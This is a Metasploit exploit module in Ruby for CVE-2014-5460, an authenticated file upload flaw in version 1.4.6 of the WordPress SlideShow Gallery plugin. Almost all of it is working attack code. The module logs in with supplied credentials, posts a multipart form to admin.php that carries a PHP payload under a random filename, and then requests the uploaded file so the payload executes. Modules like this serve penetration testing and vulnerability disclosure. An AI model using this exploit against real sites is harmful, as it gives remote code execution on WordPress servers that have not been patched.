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WordPress SlideShow Gallery Authenticated File Upload

Posted on 21 April 2015

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::HTTP::Wordpress
 include Msf::Exploit::FileDropper

 def initialize(info = {})
 super(update_info(
 info,
 'Name' => 'Wordpress SlideShow Gallery Authenticated File Upload',
 'Description' => %q{
 The Wordpress SlideShow Gallery plugin contains an authenticated file upload
 vulnerability. We can upload arbitrary files to the upload folder, because
 the plugin also uses it's own file upload mechanism instead of the wordpress
 api it's possible to upload any file type.
 },
 'Author' =>
 [
 'Jesus Ramirez Pichardo', # Vulnerability discovery
 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
 ],
 'License' => MSF_LICENSE,
 'References' =>
 [
 ['CVE', '2014-5460'],
 ['EDB', '34681'],
 ['WPVDB', '7532']
 ],
 'Privileged' => false,
 'Platform' => ['php'],
 'Arch' => ARCH_PHP,
 'Targets' => [['WP SlideShow Gallery 1.4.6', {}]],
 'DefaultTarget' => 0,
 'DisclosureDate' => 'Aug 28 2014'))

 register_options(
 [
 OptString.new('WP_USER', [true, 'A valid username', nil]),
 OptString.new('WP_PASSWORD', [true, 'Valid password for the provided username', nil])
 ], self.class)
 end

 def user
 datastore['WP_USER']
 end

 def password
 datastore['WP_PASSWORD']
 end

 def check
 check_plugin_version_from_readme('slideshow-gallery', '1.4.7')
 end

 def exploit
 print_status("#{peer} - Trying to login as #{user}")
 cookie = wordpress_login(user, password)
 if cookie.nil?
 print_error("#{peer} - Unable to login as #{user}")
 return
 end

 print_status("#{peer} - Trying to upload payload")
 filename = "#{rand_text_alpha_lower(8)}.php"

 data = Rex::MIME::Message.new
 data.add_part("", nil, nil, 'form-data; name="Slide[id]"')
 data.add_part("", nil, nil, 'form-data; name="Slide[link]"')
 data.add_part("", nil, nil, 'form-data; name="Slide[image_url]"')
 data.add_part('both', nil, nil, 'form-data; name="Slide[showinfo]"')
 data.add_part('randonx', nil, nil, 'form-data; name="Slide[description]"')
 data.add_part('file', nil, nil, 'form-data; name="Slide[type]"')
 data.add_part('randonx', nil, nil, 'form-data; name="Slide[title]"')
 data.add_part('70', nil, nil, 'form-data; name="Slide[iopacity]"')
 data.add_part('N', nil, nil, 'form-data; name="Slide[uselink]"')
 data.add_part("", nil, nil, 'form-data; name="Slide[order]"')
 data.add_part('self', nil, nil, 'form-data; name="Slide[linktarget]"')
 data.add_part(payload.encoded, 'application/x-httpd-php', nil, "form-data; name="image_file"; filename="#{filename}"")
 post_data = data.to_s

 print_status("#{peer} - Uploading payload")
 res = send_request_cgi({
 'method' => 'POST',
 'uri' => normalize_uri(wordpress_url_backend, 'admin.php'),
 'ctype' => "multipart/form-data; boundary=#{data.bound}",
 'vars_get' => {
 'page' => 'slideshow-slides',
 'method' => 'save'
 },
 'data' => post_data,
 'cookie' => cookie
 })

 if res
 if res.code == 200
 register_files_for_cleanup(filename)
 else
 fail_with(Failure::Unknown, "#{peer} - You do not have sufficient permissions to access this page.")
 end
 else
 fail_with(Failure::Unknown, 'Server did not respond in an expected way')
 end

 print_status("#{peer} - Calling uploaded file #{filename}")
 send_request_cgi(
 'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', 'slideshow-gallery', filename)
 )
 end
end

 

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